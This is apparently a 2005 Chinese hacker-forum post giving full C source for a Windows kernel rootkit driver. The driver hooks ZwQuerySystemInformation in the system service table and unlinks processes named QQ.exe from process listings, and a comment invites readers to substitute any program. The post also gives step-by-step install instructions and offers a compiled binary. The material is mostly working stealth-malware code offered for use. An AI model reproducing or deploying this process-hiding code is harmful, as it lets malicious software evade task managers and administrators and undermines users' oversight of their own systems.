天天看点

Hook ZwQuerySystemInformation 隐藏qq程序

近一直在研究rootkit,首先申明我是rootkit的菜鸟哈,也感觉还么有研究得好深。这次我把我练习时写的一个hook 系统 ZwQuerySystemInformation 函数来实现隐藏QQ进程的代码贴上来,也算是为成黑添砖添瓦哦。隐藏了的进程能够被rootkit的检测工具检测出来,但是一般的方法是看不出来的,比如任务管理器,和程序里面列出进程都是看不到的。程序中我已经添加了相关的注释,这里就不多说了。关于这种技术的文章网上有很多,我也只是为自己总结一下吧。代码如下

代码:

//文件名:   hider.c

//  作者:   锦毛鼠(成都黑客在线)HTTP://Www.CduHacker.Com

//  功能:   用驱动程序实现要保护的程序的进程

//  修改:   2005.12.23 开始编写

//  编译:   bulid

//  环境:   win2000sp4+vc6.0+win2000 DDK

#include "ntddk.h"

#include "stdio.h"

#include "stdlib.h"

#include "hider.h"

#define NT_PROCNAMELEN  16

#define PROCNAMELEN     20

#pragma pack(1)

typedef struct ServiceDescriptorEntry {

    unsigned int  *ServiceTableBase;

    unsigned int  *ServiceCounterTableBase; //Used only in checked build

    unsigned int  NumberOfServices;

    unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

//定义一个宏SYSTEMSERVICE(_function)

#define SYSTEMSERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

struct _SYSTEM_THREADS

{

    LARGE_INTEGER        KernelTime;

    LARGE_INTEGER        UserTime;

    LARGE_INTEGER        CreateTime;

    ULONG                WaitTime;

    PVOID                StartAddress;

    CLIENT_ID            ClientIs;

    KPRIORITY            Priority;

    KPRIORITY            BasePriority;

    ULONG                ContextSwitchCount;

    ULONG                ThreadState;

    KWAIT_REASON        WaitReason;

};

struct _SYSTEM_PROCESSES

{

    ULONG                NextEntryDelta;

    ULONG                ThreadCount;

    ULONG                Reserved[6];

    LARGE_INTEGER        CreateTime;

    LARGE_INTEGER        UserTime;

    LARGE_INTEGER        KernelTime;

    UNICODE_STRING        ProcessName;

    KPRIORITY            BasePriority;

    ULONG                ProcessId;

    ULONG                InheritedFromProcessId;

    ULONG                HandleCount;

    ULONG                Reserved2[2];

    VM_COUNTERS            VmCounters;

    IO_COUNTERS            IoCounters; //windows 2000 only

    struct _SYSTEM_THREADS        Threads[1];

};

//驱动入口函数DriverEntery

NTSTATUS DriverEntry(

         IN PDRIVER_OBJECT  DriverObject,

         IN PUNICODE_STRING registryPath

         )

{        int i;

        DbgPrint("驱动加载成功..");

        GetProcessNameOffset();

        //注册驱动分发函数

        for (i=1;i<IRP_MJ_MAXIMUM_FUNCTION;i++)

        {

          DbgPrint("MajorFunction..");

          DriverObject->MajorFunction[i]=OnDispatch;

        }

        //注册驱动卸载函数

        DriverObject->DriverUnload=OnUnload;

        OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

         _asm cli

              (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;

         _asm sti

         return STATUS_SUCCESS;

}

//用户自定义的NewZwQuerySystemInformation

NTSTATUS NewZwQuerySystemInformation(

            IN ULONG SystemInformationClass,

            IN PVOID SystemInformation,

            IN ULONG SystemInformationLength,

            OUT PULONG ReturnLength

)

{

    NTSTATUS rc;

    CHAR aProcessName[PROCNAMELEN];       

    GetProcessName( aProcessName );

    rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

            SystemInformationClass,

            SystemInformation,

            SystemInformationLength,

            ReturnLength );

    if( NT_SUCCESS( rc ) )

    {

        // double check the process name, if it starts w/ '_root_' DO NOT

        // apply any stealth

        if(0 == memcmp(aProcessName, "_root_", 6))

        {

            DbgPrint("rootkit: detected system query from _root_ process/n");

        }

        else if( 5 == SystemInformationClass )

        {

            // this is a process list, look for process names that start with

            // '_root_'           

            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

            struct _SYSTEM_PROCESSES *prev = NULL;

            DbgPrint("rootkit: NewZwQuerySystemInformation() from %s/n", aProcessName);

            while(curr)

            {   

                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);

                int bMod = FALSE;

                ANSI_STRING process_name;

                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);

                if( (0 < process_name.Length) && (255 > process_name.Length) )

                {

                    if(0 == memcmp( process_name.Buffer, "QQ.exe", 6))    //修改成你要隐藏的程序

                    {

                        //

                        // we have a winner!

                        //

                        char _output[255];

                        char _pname[255];

                        memset(_pname, 0, 255);

                        memcpy(_pname, process_name.Buffer, process_name.Length);

                        sprintf(    _output,

                                    "rootkit: hiding process, pid: %d/tname: %s/r/n",

                                    curr->ProcessId,

                                    _pname);

                        DbgPrint(_output);

                        if(prev)

                        {

                            if(curr->NextEntryDelta)

                            {

                                // make prev skip this entry

                                prev->NextEntryDelta += curr->NextEntryDelta;

                                bMod = TRUE; //flag to say that we have modified

                            }

                            else

                            {

                                // we are last, so make prev the end

                                prev->NextEntryDelta = 0;

                            }

                        }

                        else

                        {

                            if(curr->NextEntryDelta)

                            {

                                // we are first in the list, so move it forward

                                (char *)SystemInformation += curr->NextEntryDelta;

                            }

                            else

                            {

                                // we are the only process!

                                SystemInformation = NULL;

                            }

                        }

                    }

                }

                RtlFreeAnsiString(&process_name);

                prev = curr;

                if(!bMod)

                    prev = curr;

                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

                else curr = NULL;

            }

        }

    }

    return(rc);

}

//获得程序名字

int GetProcessName( PCHAR theName )

{

    PEPROCESS       curproc;

    char            *nameptr;

    ULONG           i;

    KIRQL           oldirql;

    if( g_ProcessNameOffset )

    {

        curproc = PsGetCurrentProcess();

        nameptr   = (PCHAR) curproc + g_ProcessNameOffset;

        strncpy( theName, nameptr, NT_PROCNAMELEN);

        theName[NT_PROCNAMELEN] = 0;

        return TRUE;

    }

    return FALSE;

}

//驱动卸载函数OnUnLoad

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )

{   

    PDEVICE_OBJECT   p_NextObj;

    PDEVICE_OBJECT     OldDeviceObject;

    p_NextObj=DriverObject->DeviceObject;

    DbgPrint("OnUnload..");

    while (p_NextObj != NULL)

       {

         OldDeviceObject=p_NextObj;

         p_NextObj=p_NextObj->NextDevice;

         IoDeleteDevice(OldDeviceObject);

       }

       _asm cli

              (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;

       _asm sti      

    return STATUS_SUCCESS;

}

//驱动分发函数,隐藏要保护的进程

NTSTATUS OnDispatch(

         IN PDEVICE_OBJECT DeviceObject,

         IN PIRP            Irq

         )

{

        Irq->IoStatus.Status = STATUS_SUCCESS;

         IoCompleteRequest (Irq,IO_NO_INCREMENT);

         return Irq->IoStatus.Status;

}        

//获取函数偏移地址函数GetProcessNameOffset

void     GetProcessNameOffset()

{

   int i;

    PEPROCESS curproc;  

    DbgPrint("GetProcessNameOffset..");

    curproc = PsGetCurrentProcess();

    for( i = 0; i < 3*PAGE_SIZE; i++ )

    {

        if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))

        {

            g_ProcessNameOffset = i;

        }

    }

} hider.h

代码:

//文件名:   hider.h

//  作者:   锦毛鼠(成都黑客在线)HTTP://Www.CduHacker.Com

//  功能:   定义函数,和全局变量

//  修改:   2005.12.23 开始编写

//  编译:   bulid

//  环境:   win2000sp4+vc6.0+win2000 DDK

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(

            ULONG SystemInformationCLass,

            PVOID SystemInformation,

            ULONG SystemInformationLength,

            PULONG ReturnLength

);

//全局变量部分

ULONG                        g_ProcessNameOffset;

ZWQUERYSYSTEMINFORMATION     OldZwQuerySystemInformation;

//函数定义部分

void     GetProcessNameOffset();

void     OnUnload( IN PDRIVER_OBJECT);

NTSTATUS OnDispatch(IN PDEVICE_OBJECT,IN PIRP);

int     GetProcessName(PCHAR);

NTSTATUS NewZwQuerySystemInformation(IN ULONG SystemInformationClass,IN PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength);

NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(

                        IN ULONG SystemInformationClass,

                        IN PVOID SystemInformation,

                        IN ULONG SystemInformationLength,

                        OUT PULONG ReturnLength);

这里是编译好的程序提供下载。

附件的地址在 网站上有

测试方法。

1,先导入注册表,然后复制hider.sys到system32目录下面.

2,重新启动机器.

3,命令提示符下面 "net start hider"

4 ,打开QQ程序

5,打开任务管理器.

这时你就在任务管理器里面看不到qq的进程了